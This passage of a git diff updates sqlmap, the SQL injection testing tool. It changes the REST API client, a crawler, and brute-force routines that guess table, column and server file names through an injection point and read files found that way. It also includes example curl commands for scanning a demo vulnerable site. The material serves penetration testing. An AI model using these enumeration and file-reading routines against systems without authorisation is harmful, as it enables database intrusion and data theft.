tempfile.mkstemp(prefix=MKSTEMP_PREFIX.IPC, text=False) - os.close(_) + if not database: + _, Database.filepath = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.IPC, text=False) + os.close(_) + else: + Database.filepath = database if port == 0: # random with contextlib.closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as s: @@ -702,23 +733,25 @@ def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=REST errMsg += "List of supported adapters: %s" % ', '.join(sorted(list(server_names.keys()))) else: errMsg = "Server support for adapter '%s' is not installed on this system " % adapter - errMsg += "(Note: you can try to install it with 'sudo apt-get install python-%s' or 'sudo pip install %s')" % (adapter, adapter) + errMsg += "(Note: you can try to install it with 'apt install python-%s' or 'pip%s install %s')" % (adapter, '3' if six.PY3 else "", adapter) logger.critical(errMsg) def _client(url, options=None): logger.debug("Calling '%s'" % url) try: - data = None - if options is not None: - data = jsonize(options) headers = {"Content-Type": "application/json"} + if options is not None: + data = getBytes(jsonize(options)) + else: + data = None + if DataStore.username or DataStore.password: - headers["Authorization"] = "Basic %s" % base64encode("%s:%s" % (DataStore.username or "", DataStore.password or "")) + headers["Authorization"] = "Basic %s" % encodeBase64("%s:%s" % (DataStore.username or "", DataStore.password or ""), binary=False) - req = urllib2.Request(url, data, headers) - response = urllib2.urlopen(req) - text = response.read() + req = _urllib.request.Request(url, data, headers) + response = _urllib.request.urlopen(req) + text = getText(response.read()) except: if options: logger.error("Failed to load and parse %s" % url) @@ -734,7 +767,7 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non DataStore.password = password dbgMsg = "Example client access from command line:" - dbgMsg += "\n\t$ taskid=$(curl http://%s:%d/task/new 2>1 | grep -o -I '[a-f0-9]\{16\}') && echo $taskid" % (host, port) + dbgMsg += "\n\t$ taskid=$(curl http://%s:%d/task/new 2>1 | grep -o -I '[a-f0-9]\\{16\\}') && echo $taskid" % (host, port) dbgMsg += "\n\t$ curl -H \"Content-Type: application/json\" -X POST -d '{\"url\": \"http://testphp.vulnweb.com/artists.php?artist=1\"}' http://%s:%d/scan/$taskid/start" % (host, port) dbgMsg += "\n\t$ curl http://%s:%d/scan/$taskid/data" % (host, port) dbgMsg += "\n\t$ curl http://%s:%d/scan/$taskid/log" % (host, port) @@ -746,14 +779,15 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non try: _client(addr) except Exception as ex: - if not isinstance(ex, urllib2.HTTPError) or ex.code == httplib.UNAUTHORIZED: + if not isinstance(ex, _urllib.error.HTTPError) or ex.code == _http_client.UNAUTHORIZED: errMsg = "There has been a problem while connecting to the " errMsg += "REST-JSON API server at '%s' " % addr - errMsg += "(%s)" % ex + errMsg += "(%s)" % getSafeExString(ex) logger.critical(errMsg) return - commands = ("help", "new", "use", "data", "log", "status", "option", "stop", "kill", "list", "flush", "exit", "bye", "quit") + commands = ("help", "new", "use", "data", "log", "status", "option", "stop", "kill", "list", "flush", "version", "exit", "bye", "quit") + colors = ('red', 'green', 'yellow', 'blue', 'magenta', 'cyan', 'lightgrey', 'lightred', 'lightgreen', 'lightyellow', 'lightblue', 'lightmagenta', 'lightcyan') autoCompletion(AUTOCOMPLETE_TYPE.API, commands=commands) taskid = None @@ -761,7 +795,8 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non while True: try: - command = raw_input("api%s> " % (" (%s)" % taskid if taskid else "")).strip() + color = colors[int(taskid or "0", 16) % len(colors)] + command = _input("api%s> " % (" (%s)" % setColor(taskid, color) if taskid else "")).strip() command = re.sub(r"\A(\w+)", lambda match: match.group(1).lower(), command) except (EOFError, KeyboardInterrupt): print() @@ -801,7 +836,7 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non try: argv = ["sqlmap.py"] + shlex.split(command)[1:] except Exception as ex: - logger.error("Error occurred while parsing arguments ('%s')" % ex) + logger.error("Error occurred while parsing arguments ('%s')" % getSafeExString(ex)) taskid = None continue @@ -818,7 +853,7 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non raw = _client("%s/task/new" % addr) res = dejsonize(raw) if not res["success"]: - logger.error("Failed to create new task") + logger.error("Failed to create new task ('%s')" % res.get("message", "")) continue taskid = res["taskid"] logger.info("New task ID is '%s'" % taskid) @@ -826,7 +861,7 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non raw = _client("%s/scan/%s/start" % (addr, taskid), cmdLineOptions) res = dejsonize(raw) if not res["success"]: - logger.error("Failed to start scan") + logger.error("Failed to start scan ('%s')" % res.get("message", "")) continue logger.info("Scanning started") @@ -842,6 +877,13 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non continue logger.info("Switching to task ID '%s' " % taskid) + elif command in ("version",): + raw = _client("%s/%s" % (addr, command)) + res = dejsonize(raw) + if not res["success"]: + logger.error("Failed to execute command %s" % command) + dataToStdout("%s\n" % raw) + elif command in ("list", "flush"): raw = _client("%s/admin/%s" % (addr, command)) res = dejsonize(raw) @@ -866,6 +908,7 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non msg += "stop Stop current task\n" msg += "kill Kill current task\n" msg += "list Display all tasks\n" + msg += "version Fetch server version\n" msg += "flush Flush tasks (delete all tasks)\n" msg += "exit Exit this client\n" diff --git a/lib/utils/brute.py b/lib/utils/brute.py index ff4e7c17b54..7833a3982ce 100644 --- a/lib/utils/brute.py +++ b/lib/utils/brute.py @@ -1,36 +1,46 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ +from __future__ import division + import time +from lib.core.common import Backend from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout from lib.core.common import filterListValue from lib.core.common import getFileItems -from lib.core.common import Backend from lib.core.common import getPageWordSet from lib.core.common import hashDBWrite +from lib.core.common import isNoneValue +from lib.core.common import ntToPosixSlashes +from lib.core.common import popValue +from lib.core.common import pushValue from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.common import readInput -from lib.core.common import safeStringFormat from lib.core.common import safeSQLIdentificatorNaming +from lib.core.common import safeStringFormat +from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.decorators import stackedmethod from lib.core.enums import DBMS from lib.core.enums import HASHDB_KEYS from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapMissingMandatoryOptionException +from lib.core.exception import SqlmapNoneDataException from lib.core.settings import BRUTE_COLUMN_EXISTS_TEMPLATE from lib.core.settings import BRUTE_TABLE_EXISTS_TEMPLATE from lib.core.settings import METADB_SUFFIX +from lib.core.settings import UPPER_CASE_DBMSES from lib.core.threads import getCurrentThreadData from lib.core.threads import runThreads from lib.request import inject @@ -50,29 +60,32 @@ def _addPageTextWords(): return wordsList +@stackedmethod def tableExists(tableFile, regex=None): - if kb.tableExistsChoice is None and not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct: + if kb.choices.tableExists is None and not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct: warnMsg = "it's not recommended to use '%s' and/or '%s' " % (PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED]) warnMsg += "for common table existence check" - logger.warn(warnMsg) + logger.warning(warnMsg) message = "are you sure you want to continue? [y/N] " - kb.tableExistsChoice = readInput(message, default='N', boolean=True) + kb.choices.tableExists = readInput(message, default='N', boolean=True) - if not kb.tableExistsChoice: + if not kb.choices.tableExists: return None result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), randomStr()))) - if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): - conf.db = conf.db.upper() - if result: errMsg = "can't use table existence check because of detected invalid results " errMsg += "(most likely caused by inability of the used injection " errMsg += "to distinguish erroneous results)" raise SqlmapDataException(errMsg) + pushValue(conf.db) + + if conf.db and Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: + conf.db = conf.db.upper() + message = "which common tables (wordlist) file do you want to use?\n" message += "[1] default '%s' (press Enter)\n" % tableFile message += "[2] custom" @@ -82,102 +95,113 @@ def tableExists(tableFile, regex=None): message = "what's the custom common tables file location?\n" tableFile = readInput(message) or tableFile - infoMsg = "checking table existence using items from '%s'" % tableFile + infoMsg = "performing table existence using items from '%s'" % tableFile logger.info(infoMsg) tables = getFileItems(tableFile, lowercase=Backend.getIdentifiedDbms() in (DBMS.ACCESS,), unique=True) tables.extend(_addPageTextWords()) tables = filterListValue(tables, regex) - threadData = getCurrentThreadData() - threadData.shared.count = 0 - threadData.shared.limit = len(tables) - threadData.shared.value = [] - threadData.shared.unique = set() + for conf.db in (conf.db.split(',') if conf.db else [conf.db]): + if conf.db and METADB_SUFFIX not in conf.db: + infoMsg = "checking database '%s'" % conf.db + logger.info(infoMsg) - def tableExistsThread(): threadData = getCurrentThreadData() - - while kb.threadContinue: - kb.locks.count.acquire() - if threadData.shared.count < threadData.shared.limit: - table = safeSQLIdentificatorNaming(tables[threadData.shared.count], True) - threadData.shared.count += 1 - kb.locks.count.release() - else: - kb.locks.count.release() - break - - if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): - fullTableName = "%s.%s" % (conf.db, table) - else: - fullTableName = table - - result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName))) - - kb.locks.io.acquire() - - if result and table.lower() not in threadData.shared.unique: - threadData.shared.value.append(table) - threadData.shared.unique.add(table.lower()) - - if conf.verbose in (1, 2) and not conf.api: - clearConsoleLine(True) - infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(table)) - dataToStdout(infoMsg, True) - - if conf.verbose in (1, 2): - status = '%d/%d items (%d%%)' % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) - dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) - - kb.locks.io.release() - - try: - runThreads(conf.threads, tableExistsThread, threadChoice=True) - - except KeyboardInterrupt: - warnMsg = "user aborted during table existence " - warnMsg += "check. sqlmap will display partial output" - logger.warn(warnMsg) - - clearConsoleLine(True) - dataToStdout("\n") - - if not threadData.shared.value: - warnMsg = "no table(s) found" - logger.warn(warnMsg) - else: - for item in threadData.shared.value: - if conf.db not in kb.data.cachedTables: - kb.data.cachedTables[conf.db] = [item] - else: - kb.data.cachedTables[conf.db].append(item) - - for _ in ((conf.db, item) for item in threadData.shared.value): - if _ not in kb.brute.tables: - kb.brute.tables.append(_) - + threadData.shared.count = 0 + threadData.shared.limit = len(tables) + threadData.shared.files = [] + threadData.shared.unique = set() + + def tableExistsThread(): + threadData = getCurrentThreadData() + + while kb.threadContinue: + kb.locks.count.acquire() + if threadData.shared.count < threadData.shared.limit: + table = safeSQLIdentificatorNaming(tables[threadData.shared.count], True) + threadData.shared.count += 1 + kb.locks.count.release() + else: + kb.locks.count.release() + break + + if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): + fullTableName = "%s.%s" % (conf.db, table) + else: + fullTableName = table + + if Backend.isDbms(DBMS.MCKOI): + _ = randomInt(1) + result = inject.checkBooleanExpression("%s" % safeStringFormat("%d=(SELECT %d FROM %s)", (_, _, fullTableName))) + else: + result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName))) + + kb.locks.io.acquire() + + if result and table.lower() not in threadData.shared.unique: + threadData.shared.files.append(table) + threadData.shared.unique.add(table.lower()) + + if conf.verbose in (1, 2) and not conf.api: + clearConsoleLine(True) + infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(table)) + dataToStdout(infoMsg, True) + + if conf.verbose in (1, 2): + status = '%d/%d items (%d%%)' % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) + dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) + + kb.locks.io.release() + + try: + runThreads(conf.threads, tableExistsThread, threadChoice=True) + except KeyboardInterrupt: + warnMsg = "user aborted during table existence " + warnMsg += "check. sqlmap will display partial output" + logger.warning(warnMsg) + + clearConsoleLine(True) + dataToStdout("\n") + + if not threadData.shared.files: + warnMsg = "no table(s) found" + if conf.db: + warnMsg += " for database '%s'" % conf.db + logger.warning(warnMsg) + else: + for item in threadData.shared.files: + if conf.db not in kb.data.cachedTables: + kb.data.cachedTables[conf.db] = [item] + else: + kb.data.cachedTables[conf.db].append(item) + + for _ in ((conf.db, item) for item in threadData.shared.files): + if _ not in kb.brute.tables: + kb.brute.tables.append(_) + + conf.db = popValue() hashDBWrite(HASHDB_KEYS.KB_BRUTE_TABLES, kb.brute.tables, True) return kb.data.cachedTables def columnExists(columnFile, regex=None): - if kb.columnExistsChoice is None and not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct: + if kb.choices.columnExists is None and not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct: warnMsg = "it's not recommended to use '%s' and/or '%s' " % (PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED]) warnMsg += "for common column existence check" - logger.warn(warnMsg) + logger.warning(warnMsg) message = "are you sure you want to continue? [y/N] " - kb.columnExistsChoice = readInput(message, default='N', boolean=True) + kb.choices.columnExists = readInput(message, default='N', boolean=True) - if not kb.columnExistsChoice: + if not kb.choices.columnExists: return None if not conf.tbl: errMsg = "missing table parameter" raise SqlmapMissingMandatoryOptionException(errMsg) - if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + if conf.db and Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: conf.db = conf.db.upper() result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (randomStr(), randomStr()))) @@ -204,84 +228,181 @@ def columnExists(columnFile, regex=None): columns.extend(_addPageTextWords()) columns = filterListValue(columns, regex) - table = safeSQLIdentificatorNaming(conf.tbl, True) + for table in conf.tbl.split(','): + table = safeSQLIdentificatorNaming(table, True) + + if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): + table = "%s.%s" % (safeSQLIdentificatorNaming(conf.db), table) - if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): - table = "%s.%s" % (safeSQLIdentificatorNaming(conf.db), table) + kb.threadContinue = True + kb.bruteMode = True + + threadData = getCurrentThreadData() + threadData.shared.count = 0 + threadData.shared.limit = len(columns) + threadData.shared.files = [] + + def columnExistsThread(): + threadData = getCurrentThreadData() + + while kb.threadContinue: + kb.locks.count.acquire() + + if threadData.shared.count < threadData.shared.limit: + column = safeSQLIdentificatorNaming(columns[threadData.shared.count]) + threadData.shared.count += 1 + kb.locks.count.release() + else: + kb.locks.count.release() + break + + if Backend.isDbms(DBMS.MCKOI): + result = inject.checkBooleanExpression(safeStringFormat("0<(SELECT COUNT(%s) FROM %s)", (column, table))) + else: + result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (column, table))) + + kb.locks.io.acquire() + + if result: + threadData.shared.files.append(column) + + if conf.verbose in (1, 2) and not conf.api: + clearConsoleLine(True) + infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(column)) + dataToStdout(infoMsg, True) + + if conf.verbose in (1, 2): + status = "%d/%d items (%d%%)" % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) + dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) + + kb.locks.io.release() + + try: + runThreads(conf.threads, columnExistsThread, threadChoice=True) + except KeyboardInterrupt: + warnMsg = "user aborted during column existence " + warnMsg += "check. sqlmap will display partial output" + logger.warning(warnMsg) + finally: + kb.bruteMode = False + + clearConsoleLine(True) + dataToStdout("\n") + + if not threadData.shared.files: + warnMsg = "no column(s) found" + logger.warning(warnMsg) + else: + columns = {} + + for column in threadData.shared.files: + if Backend.getIdentifiedDbms() in (DBMS.MYSQL,): + result = not inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s REGEXP '[^0-9]')", (column, table, column))) + elif Backend.getIdentifiedDbms() in (DBMS.SQLITE,): + result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s NOT GLOB '*[^0-9]*')", (column, table, column))) + elif Backend.getIdentifiedDbms() in (DBMS.MCKOI,): + result = inject.checkBooleanExpression("%s" % safeStringFormat("0=(SELECT MAX(%s)-MAX(%s) FROM %s)", (column, column, table))) + else: + result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))", (column, table, column, column))) + + if result: + columns[column] = "numeric" + else: + columns[column] = "non-numeric" + + kb.data.cachedColumns[conf.db] = {table: columns} + + for _ in ((conf.db, table, item[0], item[1]) for item in columns.items()): + if _ not in kb.brute.columns: + kb.brute.columns.append(_) + + hashDBWrite(HASHDB_KEYS.KB_BRUTE_COLUMNS, kb.brute.columns, True) + + return kb.data.cachedColumns + +@stackedmethod +def fileExists(pathFile): + retVal = [] + + message = "which common files file do you want to use?\n" + message += "[1] default '%s' (press Enter)\n" % pathFile + message += "[2] custom" + choice = readInput(message, default='1') + + if choice == '2': + message = "what's the custom common files file location?\n" + pathFile = readInput(message) or pathFile + + infoMsg = "checking files existence using items from '%s'" % pathFile + logger.info(infoMsg) + + paths = getFileItems(pathFile, unique=True) - kb.threadContinue = True kb.bruteMode = True + try: + conf.dbmsHandler.readFile(randomStr()) + except SqlmapNoneDataException: + pass + except: + kb.bruteMode = False + raise + threadData = getCurrentThreadData() threadData.shared.count = 0 - threadData.shared.limit = len(columns) - threadData.shared.value = [] + threadData.shared.limit = len(paths) + threadData.shared.files = [] - def columnExistsThread(): + def fileExistsThread(): threadData = getCurrentThreadData() while kb.threadContinue: kb.locks.count.acquire() if threadData.shared.count < threadData.shared.limit: - column = safeSQLIdentificatorNaming(columns[threadData.shared.count]) + path = ntToPosixSlashes(paths[threadData.shared.count]) threadData.shared.count += 1 kb.locks.count.release() else: kb.locks.count.release() break - result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (column, table))) + try: + result = unArrayizeValue(conf.dbmsHandler.readFile(path)) + except SqlmapNoneDataException: + result = None kb.locks.io.acquire() - if result: - threadData.shared.value.append(column) + if not isNoneValue(result): + threadData.shared.files.append(result) - if conf.verbose in (1, 2) and not conf.api: + if not conf.api: clearConsoleLine(True) - infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(column)) + infoMsg = "[%s] [INFO] retrieved: '%s'\n" % (time.strftime("%X"), path) dataToStdout(infoMsg, True) if conf.verbose in (1, 2): - status = "%d/%d items (%d%%)" % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) + status = '%d/%d items (%d%%)' % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) kb.locks.io.release() try: - runThreads(conf.threads, columnExistsThread, threadChoice=True) - + runThreads(conf.threads, fileExistsThread, threadChoice=True) except KeyboardInterrupt: - warnMsg = "user aborted during column existence " + warnMsg = "user aborted during file existence " warnMsg += "check. sqlmap will display partial output" - logger.warn(warnMsg) + logger.warning(warnMsg) + finally: + kb.bruteMode = False clearConsoleLine(True) dataToStdout("\n") - if not threadData.shared.value: - warnMsg = "no column(s) found" - logger.warn(warnMsg) + if not threadData.shared.files: + warnMsg = "no file(s) found" + logger.warning(warnMsg) else: - columns = {} - - for column in threadData.shared.value: - if Backend.getIdentifiedDbms() in (DBMS.MYSQL,): - result = not inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s REGEXP '[^0-9]')", (column, table, column))) - else: - result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))", (column, table, column, column))) - - if result: - columns[column] = "numeric" - else: - columns[column] = "non-numeric" + retVal = threadData.shared.files - kb.data.cachedColumns[conf.db] = {conf.tbl: columns} - - for _ in ((conf.db, conf.tbl, item[0], item[1]) for item in columns.items()): - if _ not in kb.brute.columns: - kb.brute.columns.append(_) - - hashDBWrite(HASHDB_KEYS.KB_BRUTE_COLUMNS, kb.brute.columns, True) - - return kb.data.cachedColumns + return retVal diff --git a/lib/utils/crawler.py b/lib/utils/crawler.py index 12d29522ac7..3741d2ace14 100644 --- a/lib/utils/crawler.py +++ b/lib/utils/crawler.py @@ -1,29 +1,33 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ -import httplib +from __future__ import division + import os import re -import urlparse import tempfile import time from lib.core.common import checkSameHost from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout +from lib.core.common import extractRegexResult from lib.core.common import findPageForms from lib.core.common import getSafeExString from lib.core.common import openFile from lib.core.common import readInput from lib.core.common import safeCSValue from lib.core.common import urldecode +from lib.core.compat import xrange +from lib.core.convert import htmlUnescape from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.datatype import OrderedSet from lib.core.enums import MKSTEMP_PREFIX from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapSyntaxException @@ -32,14 +36,20 @@ from lib.core.threads import runThreads from lib.parse.sitemap import parseSitemap from lib.request.connect import Connect as Request +from thirdparty import six from thirdparty.beautifulsoup.beautifulsoup import BeautifulSoup -from thirdparty.oset.pyoset import oset +from thirdparty.six.moves import http_client as _http_client +from thirdparty.six.moves import urllib as _urllib + +def crawl(target, post=None, cookie=None): + if not target: + return -def crawl(target): try: visited = set() threadData = getCurrentThreadData() - threadData.shared.value = oset() + threadData.shared.value = OrderedSet() + threadData.shared.formsFound = False def crawlThread(): threadData = getCurrentThreadData() @@ -62,7 +72,7 @@ def crawlThread(): content = None try: if current: - content = Request.getPage(url=current, crawling=True, raise404=False)[0] + content = Request.getPage(url=current, post=post, cookie=None, crawling=True, raise404=False)[0] except SqlmapConnectionException as ex: errMsg = "connection exception detected ('%s'). skipping " % getSafeExString(ex) errMsg += "URL '%s'" % current @@ -70,7 +80,7 @@ def crawlThread(): except SqlmapSyntaxException: errMsg = "invalid URL detected. skipping '%s'" % current logger.critical(errMsg) - except httplib.InvalidURL as ex: + except _http_client.InvalidURL as ex: errMsg = "invalid URL detected ('%s'). skipping " % getSafeExString(ex) errMsg += "URL '%s'" % current logger.critical(errMsg) @@ -78,7 +88,7 @@ def crawlThread(): if not kb.threadContinue: break - if isinstance(content, unicode): + if isinstance(content, six.text_type): try: match = re.search(r"(?si)<html[^>]*>(.+)</html>", content) if match: @@ -87,8 +97,8 @@ def crawlThread(): soup = BeautifulSoup(content) tags = soup('a') - if not tags: - tags = re.finditer(r'(?i)<a[^>]+href="(?P<href>[^>"]+)"', content) + tags += re.finditer(r'(?i)\s(href|src)=["\'](?P<href>[^>"\']+)', content) + tags += re.finditer(r'(?i)window\.open\(["\'](?P<href>[^)"\']+)["\']', content) for tag in tags: href = tag.get("href") if hasattr(tag, "get") else tag.group("href") @@ -96,7 +106,7 @@ def crawlThread(): if href: if threadData.lastRedirectURL and threadData.lastRedirectURL[0] == threadData.lastRequestUID: current = threadData.lastRedirectURL[1] - url = urlparse.urljoin(current, href) + url = _urllib.parse.urljoin(current, htmlUnescape(href)) # flag to know if we are dealing with the same target host _ = checkSameHost(url, target) @@ -107,18 +117,20 @@ def crawlThread(): elif not _: continue - if url.split('.')[-1].lower() not in CRAWL_EXCLUDE_EXTENSIONS: + if (extractRegexResult(r"\A[^?]+\.(?P<result>\w+)(\?|\Z)", url) or "").lower() not in CRAWL_EXCLUDE_EXTENSIONS: with kb.locks.value: threadData.shared.deeper.add(url) - if re.search(r"(.*?)\?(.+)", url): + if re.search(r"(.*?)\?(.+)", url) and not re.search(r"\?(v=)?\d+\Z", url) and not re.search(r"(?i)\.(js|css)(\?|\Z)", url): threadData.shared.value.add(url) except UnicodeEncodeError: # for non-HTML files pass except ValueError: # for non-valid links pass + except AssertionError: # for invalid HTML + pass finally: if conf.forms: - findPageForms(content, current, False, True) + threadData.shared.formsFound |= len(findPageForms(content, current, False, True)) > 0 if conf.verbose in (1, 2): threadData.shared.count += 1 @@ -128,36 +140,44 @@ def crawlThread(): threadData.shared.deeper = set() threadData.shared.unprocessed = set([target]) - if not conf.sitemapUrl: + _ = re.sub(r"(?<!/)/(?!/).*", "", target) + if _: + if target.strip('/') != _.strip('/'): + threadData.shared.unprocessed.add(_) + + if re.search(r"\?.*\b\w+=", target): + threadData.shared.value.add(target) + + if kb.checkSitemap is None: message = "do you want to check for the existence of " message += "site's sitemap(.xml) [y/N] " - - if readInput(message, default='N', boolean=True): - found = True - items = None - url = urlparse.urljoin(target, "/sitemap.xml") - try: - items = parseSitemap(url) - except SqlmapConnectionException as ex: - if "page not found" in getSafeExString(ex): - found = False - logger.warn("'sitemap.xml' not found") - except: - pass - finally: - if found: - if items: - for item in items: - if re.search(r"(.*?)\?(.+)", item): - threadData.shared.value.add(item) - if conf.crawlDepth > 1: - threadData.shared.unprocessed.update(items) - logger.info("%s links found" % ("no" if not items else len(items))) - - infoMsg = "starting crawler" - if conf.bulkFile: - infoMsg += " for target URL '%s'" % target - logger.info(infoMsg) + kb.checkSitemap = readInput(message, default='N', boolean=True) + + if kb.checkSitemap: + found = True + items = None + url = _urllib.parse.urljoin(target, "/sitemap.xml") + try: + items = parseSitemap(url) + except SqlmapConnectionException as ex: + if "page not found" in getSafeExString(ex): + found = False + logger.warning("'sitemap.xml' not found") + except: + pass + finally: + if found: + if items: + for item in items: + if re.search(r"(.*?)\?(.+)", item): + threadData.shared.value.add(item) + if conf.crawlDepth > 1: + threadData.shared.unprocessed.update(items) + logger.info("%s links found" % ("no" if not items else len(items))) + + if not conf.bulkFile: + infoMsg = "starting crawler for target URL '%s'" % target + logger.info(infoMsg) for i in xrange(conf.crawlDepth): threadData.shared.count = 0 @@ -178,19 +198,44 @@ def crawlThread(): except KeyboardInterrupt: warnMsg = "user aborted during crawling. sqlmap " warnMsg += "will use partial list" - logger.warn(warnMsg) + logger.warning(warnMsg) finally: clearConsoleLine(True) if not threadData.shared.value: - warnMsg = "no usable links found (with GET parameters)" - logger.warn(warnMsg) + if not (conf.forms and threadData.shared.formsFound): + warnMsg = "no usable links found (with GET parameters)" + if conf.forms: + warnMsg += " or forms" + logger.warning(warnMsg) else: for url in threadData.shared.value: kb.targets.add((urldecode(url, kb.pageEncoding), None, None, None, None)) - storeResultsToFile(kb.targets) + if kb.targets: + if kb.normalizeCrawlingChoice is None: + message = "do you want to normalize " + message += "crawling results [Y/n] " + + kb.normalizeCrawlingChoice = readInput(message, default='Y', boolean=True) + + if kb.normalizeCrawlingChoice: + seen = set() + results = OrderedSet() + + for target in kb.targets: + value = "%s%s%s" % (target[0], '&' if '?' in target[0] else '?', target[2] or "") + match = re.search(r"/[^/?]*\?.+\Z", value) + if match: + key = re.sub(r"=[^=&]*", "=", match.group(0)).strip("&?") + if '=' in key and key not in seen: + results.add(target) + seen.add(key) + + kb.targets = results + + storeResultsToFile(kb.targets) def storeResultsToFile(results): if not results: @@ -209,7 +254,7 @@ def storeResultsToFile(results): infoMsg = "writing crawling results to a temporary file '%s' " % filename logger.info(infoMsg) - with openFile(filename, "w+b") as f: + with openFile(filename, "w+") as f: if conf.forms: f.write("URL,POST\n") diff --git a/lib/utils/deps.py b/lib/utils/deps.py index 265c0eb87fd..51a9a23ea46 100644 --- a/lib/utils/deps.py +++ b/lib/utils/deps.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -21,18 +21,18 @@ def checkDependencies(): if dbmsName in (DBMS.MSSQL, DBMS.SYBASE): __import__("_mssql") - import pymssql + pymssql = __import__("pymssql") if not hasattr(pymssql, "__version__") or pymssql.__version__ < "1.0.2": 